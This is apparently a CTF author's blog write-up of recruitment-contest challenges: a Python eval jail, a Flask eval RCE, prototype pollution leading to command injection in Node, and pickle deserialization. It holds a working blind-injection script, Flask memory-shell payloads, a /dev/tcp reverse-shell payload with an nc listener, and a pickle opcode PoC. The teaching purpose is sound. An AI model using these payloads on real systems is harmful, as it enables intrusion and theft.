MENU

招新赛出题小记(2025.12)

• December 10, 2025 • Read: 21 • 网络安全/CTF

Misc

鼠鼠(Original)

不要伤害鼠鼠🥺

> 该题目取材自真实事件(笑
# 附件
from secret import flag
from Crypto.Util.number import * 
import random

lower_bound = 2**135
upper_bound = 2**136

num = bytes_to_long(flag)

n = random.randint(lower_bound, upper_bound)

for i in range(135):
    receive = eval(input('>>> ')) #以列表形式输入,如[123456789,987654321,...]
    if num in receive:
        print('1')
    else:
        print('0')
        
#给我分组,我会返回你小鼠是否还活着,活着用1,死了用0

🤗为什么说这道题取材自真实事件呢,大概是这样的:

(曾经的)密码大手子linsheng,在给招新赛出题时,想出一道容器题,除了密码知识以外顺便考察一下大家对pwntools等库的使用,于是他将初版代码发给了我们——

image-20251209213825631

image-20251209213934351

如图所示,由于使用了eval()对用户的输入进行处理,导致出现沙箱逃逸漏洞(Python Jail, aka pyjail)。用户输入的数据被python的解释器直接执行了!(可千万不要把eval想成仅仅是去掉引号的函数)

最终,上述的题目在经过修补后在24年下半年的实验室招新赛上线。

image-20251209214350154

一年过后,偶然回想起这次有趣的交流,感觉可以再把鼠鼠出到招新赛里,不过这次是misc(什么叫做传承!!!)

不过吧,如果只是一句print就出flag的话🤔是不是太简单了,好像并没有考察到什么东西,而且ai一下就秒了。

image-20251209215339935

于是,我把原本的密码题里的flag替换成的 fake flag,并将真flag写到了根目录,算是加了点难度。

不过,只要是了解过沙箱逃逸或者对Python语法比较懂的,感觉这也就是道入门题,一点过滤都没有,于是我给定了个Easy难度(

好了下面是正式的题解了

使用 __import__('os').system('ls /') 即可列出根目录文件

__import__('os').system('cat /340b72101d7_flag') 读取flag

image-20251209220041965

想了解更多pyjail相关知识:https://www.cnblogs.com/N1ng/p/18491520

Web

ezpython

非常简单的RCE!!但是,系统似乎出了些问题,你还能拿到flag吗?

(没想到跟一道re题目重名了喵喵喵)

这道题出的也是有些曲折的。

题目最初的设想是:考察选手遇到命令执行但是不出网无回显且没有静态资源目录情况下的解决办法

预期解:sleep盲注出flag或注入内存马

🤔但是在出题过程中发现了问题——GZCTF平台不支持对单个题目设置是否出网。

🤔我又不想出公共容器,那样不同选手之间容易相互干扰。

🤔于是我想到了一种取巧的办法——删掉容器中可以联网的工具

cat /dev/null > /etc/resolv.conf
cat /dev/null > /etc/hosts
rm -f /bin/curl
rm -f /bin/wget
rm -f /bin/ping
rm -f /usr/bin/nc

就在我以为大功告成的时候,忽然意识到shell也可以连网啊,反弹shell这不是秒了吗!🥲

于是又加了几句:

rm -f /bin/bash
rm -f /bin/sh
rm -f /bin/dash

🤔说实话这时候已经有点抽象了,这玩意儿不会让程序出bug跑不起来吧。

🤓👆欸您猜怎么着,程序照常运行,不过就是os.system之类的会启动新进程的方法不能用了罢了

正合我意,正合我意讷👏👏👏

(下面是正式的题解了)


题目访问直接给出源码

from flask import Flask, request, Response
import os

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
    try:
        with open(__file__, 'r') as f:
            source_code = f.read()
        return Response(source_code, mimetype='text/plain')
    except Exception as e:
        return "Error reading source code"

@app.route('/execute', methods=['POST'])
def execute():

    cmd = request.form.get('cmd')
    if not cmd:
        return "Please provide a command."

    try:
        eval(cmd)
        return "Command Executed."
    except Exception:
        return "Command Executed."

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080, debug=False)

一共两个路由,/路由会返回当前文件内容,/execute接收一个POST参数,使用eval()进行了代码执行

【解法一】

可以使用时间盲注爆出flag,注意由于“系统似乎出了些问题”,不能使用os模块的方法执行shell命令,只能用python自带模块读取目录和文件。

下面给出盲注脚本

import requests
import time
import string
import sys

# ================= 配置区域 =================
URL = "http://127.0.0.1:19292/execute"
SLEEP_TIME = 1.5
TIMEOUT = 3
# ===========================================

def run_python_blind(expression_template, task_name):
    """
    通用 Python 表达式盲注函数
    """
    print(f"[*] 开始任务: {task_name}")
    print("[+] 获取结果: ", end='', flush=True)
    
    extracted_str = ""
    index = 0
    
    # 字符集:Python list 的字符串表示包含 '[' ']' ',' "'" 和空格,以及文件名字符
    charset = string.ascii_letters + string.digits + "_{}./- []',"

    while True:
        found_char = False
        
        for char in charset:
            char_code = ord(char)
            
            # 核心 Payload: 
            # 1. 计算表达式 expression_template (例如 open('/flag').read())
            # 2. 取第 index 位
            # 3. 转 ord() 对比
            payload = (
                f"__import__('time').sleep({SLEEP_TIME}) "
                f"if ord({expression_template}[{index}]) == {char_code} "
                f"else 0"
            )
            
            data = {'cmd': payload}
            
            try:
                start_time = time.time()
                requests.post(URL, data=data, timeout=TIMEOUT)
                end_time = time.time()
                
                if end_time - start_time >= SLEEP_TIME:
                    extracted_str += char
                    sys.stdout.write(char)
                    sys.stdout.flush()
                    found_char = True
                    break
                    
            except requests.exceptions.ReadTimeout:
                # 超时视为成功
                extracted_str += char
                sys.stdout.write(char)
                sys.stdout.flush()
                found_char = True
                break
            except Exception:
                pass

        if not found_char:
            break
            
        index += 1

    print(f"\n[*] {task_name} 结束")
    return extracted_str

if __name__ == "__main__":
    # Step 1: 盲注目录列表
    # dir_payload = "str(__import__('os').listdir('/'))"
    # dir_output = run_python_blind(dir_payload, "List Dir")
    # print(f"当前目录结构: {dir_output}")
    
    print("\n" + "="*30) # ----------------------------分割线------------------------------
    
    # Step 2: 提取flag
    # target_file = input("请输入通过上方列表发现的 Flag 文件路径 (如 /flag): ").strip()
    target_file = "/zflag"
    
    if target_file:
        file_payload = f"open('{target_file}').read()"
        run_python_blind(file_payload, "Read File")
    else:
        print("无文件名,退出。")

【解法二】非预期解

注意到/路由的作用是 “读取当前文件内容并返回”,而当前的flask程序没有开启debug,所以可以把命令执行的结果写入当前文件而不会使程序崩溃,访问/路由时,内存中的程序会读取最新的当前文件的内容并返回,从而得到指令的回显。

也就是说,程序源码文件可以成为命令执行回显使用的“静态文件”。

image-20251210104525016

image-20251210104545221

【解法三】内存马

说实话,由于不能直接执行系统命令,内存马在这里不是那么好用,也就是单纯的能回显而已。

下面给出一种注入内存马的payload,可以在任何一个404页面执行命令。

(服务端Flask版本3.1.2 ,注意网上的有些payload不适用于新版本)

# ↓ 命令执行的payload,不适用于本题,仅做示例。
setattr(app, 'handle_user_exception', lambda e: __import__('flask').make_response(__import__('os').popen(__import__('flask').request.args.get('cmd', 'whoami')).read()))

# ↓ 代码执行的payload
setattr(app, 'handle_user_exception', lambda e: __import__('flask').make_response(eval(__import__('flask').request.args.get('cmd'))))

image-20251210133306630

Log Jam

为了提高运维效率,我们的新应用上线了一个动态日志服务。管理员可以通过API实时调整服务的日志配置,非常方便。我们对我们自研的核心配置合并模块充满信心,它高效、简洁且……绝对安全。

你的任务是审计这个服务,找到其中的秘密。Flag就在服务器的 /flag 文件中。
考察知识点: 原型链污染 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
// 附件
const express = require('express');
const bodyParser = require('body-parser');
const { execSync } = require('child_process');

const app = express();
app.use(bodyParser.json());


function deepMerge(target, source) {
    for (const key in source) {
        if (Object.prototype.hasOwnProperty.call(source, key)) {
            if (typeof target[key] === 'object' && target[key] !== null &&
                typeof source[key] === 'object' && source[key] !== null) {
                deepMerge(target[key], source[key]);
            } else {
                target[key] = source[key];
            }
        }
    }
    return target;
}


let logConfig = {
    level: 'info',
    output: {
        type: 'file',
        path: '/var/log/app.log'
    }
};


app.post('/api/update-config', (req, res) => {
    const userConfig = req.body;
    console.log('Received new config chunk:', userConfig);

    deepMerge(logConfig, userConfig);

    res.json({
        status: 'success',
        message: 'Log configuration updated!',
        currentConfig: logConfig
    });
});

app.get('/', (req, res) => {
    res.type('text').send('Dynamic Logging Service is running.');
});


const maintenanceScripts = {
    'archive': 'echo "Archiving logs..."',
    'rotate': 'echo "Rotating logs..."'
};

function runMaintenance() {
    console.log('Running scheduled log maintenance...');
    for (const taskName in maintenanceScripts) {
        try {
            console.log(`Executing task: ${taskName}`);
            execSync(maintenanceScripts[taskName]);
        } catch (e) {
            console.error(`Task ${taskName} failed:`, e.message);
        }
    }
    console.log('Maintenance finished.');
}

setInterval(runMaintenance, 20000);

app.listen(3020, () => {
    console.log('Server is running on port 3020');
});

核心部分 server.js 的代码是一个基于 Node.js 的 Express 应用程序,实现了一个“动态日志配置服务”,允许通过 HTTP 接口更新日志配置,并定时执行维护脚本。但其中存在严重的安全漏洞,尤其是原型链污染 + 命令注入组合型漏洞

代码解析:

行号代码片段功能说明安全关注点
1-3require('express'), body-parser, child_process引入 Web 框架、JSON 解析中间件、系统命令执行模块
6-17deepMerge() 函数递归合并对象:若 target[key]source[key] 均为对象,则继续递归;否则直接赋值⚠️ 无类型校验、无原型键过滤 → 原型污染温床
19-24logConfig 初始化默认日志配置对象📌 可被 deepMerge 污染的目标对象
26-35/api/update-config POST 接口接收用户 JSON 输入,调用 deepMerge(logConfig, userConfig) 合并配置🔥 污染入口点:userConfig 完全可控
37-39/ GET 接口健康检查接口,无风险
41-45maintenanceScripts 对象预定义两个维护脚本字符串⚠️ 若 maintenanceScripts 被污染篡改,即可注入任意命令
47-56runMaintenance() 函数遍历 maintenanceScripts 的每个 key(如 'archive'),执行 execSync(maintenanceScripts[taskName])💀 RCE 触发点:execSync() 直接执行字符串,无任何过滤/转义
58setInterval(runMaintenance, 20000)每 20 秒自动调用 runMaintenance()🔄 定时器使 RCE 具备“持久化”和“延迟触发”特性
60app.listen(3020)启动服务监听 3020 端口

利用链:

graph LR
A[攻击者发送恶意 userConfig] --> B[deepMerge 污染 Object.prototype]
B --> D[maintenanceScripts 继承污染属性]
D --> E[runMaintenance 遍历执行 execSync]
E --> F[远程命令执行]

回显方式什么样的都行,此处以反弹shell为例:

  1. 公网服务器启动监听:
nc -lvnp 20015
  1. 发送 POST 请求污染原型并注入恶意脚本名:
POST /api/update-config HTTP/1.1
Host: ip:port
Content-Type: application/json

{
  "__proto__": {
    "reverse_shell": "bash -c 'bash -i >& /dev/tcp/your-ip/20015 0>&1'"
  }
}

image-20251210151223954

  1. 等待定时任务触发

image-20251210141223089

profile

为了给您提供极致的个性化体验,我们开发了一套先进的配置系统。您可以自由设置您的用户名和界面主题色,并将这些偏好“导出”为一串配置数据,以便在任何设备上快速“导入”和恢复。
考察知识点:pickle反序列化

题目功能点只有两个:一个是导出配置,一个是导入配置。

image-20251210141909377

将生成的配置信息base64解码查看,发现是pickle生成的序列化数据。(当然也可以通过页面下方的提示猜出来)

image-20251210142218366

image-20251210142404342

那么很显然,此处对用户输入的字符串会进行反序列化,从而产生漏洞。

pickle反序列化不了解的请参考文章:

https://zhuanlan.zhihu.com/p/89132768

https://xz.aliyun.com/news/13498

https://xz.aliyun.com/news/15468

题目对一些敏感词进行了过滤,防止使用reduce方法直接生成序列化字符串,需要手写opcode。如下图。

image-20251210143105871

不过没想到现在AI这么猛,手写opcode也能搓(虽然我没有设太多的过滤词,但那样就太难了

image-20251210143403471

此处源码中模块名过滤了ossubprocess,opcode过滤了R。(选手虽然没有源码,但是可以看报错)

绕过方式不唯一,我这里使用的是i操作码,理论上使用o操作码和b操作码也行,具体用法请看前面提到的文章。

poc:

import base64

payload = b'''(S"__import__('os').popen('whoami').read()"
ibuiltins
eval
.'''

print(base64.b64encode(payload).decode())
Archives QR Code Tip
QR Code for this page
Tipping QR Code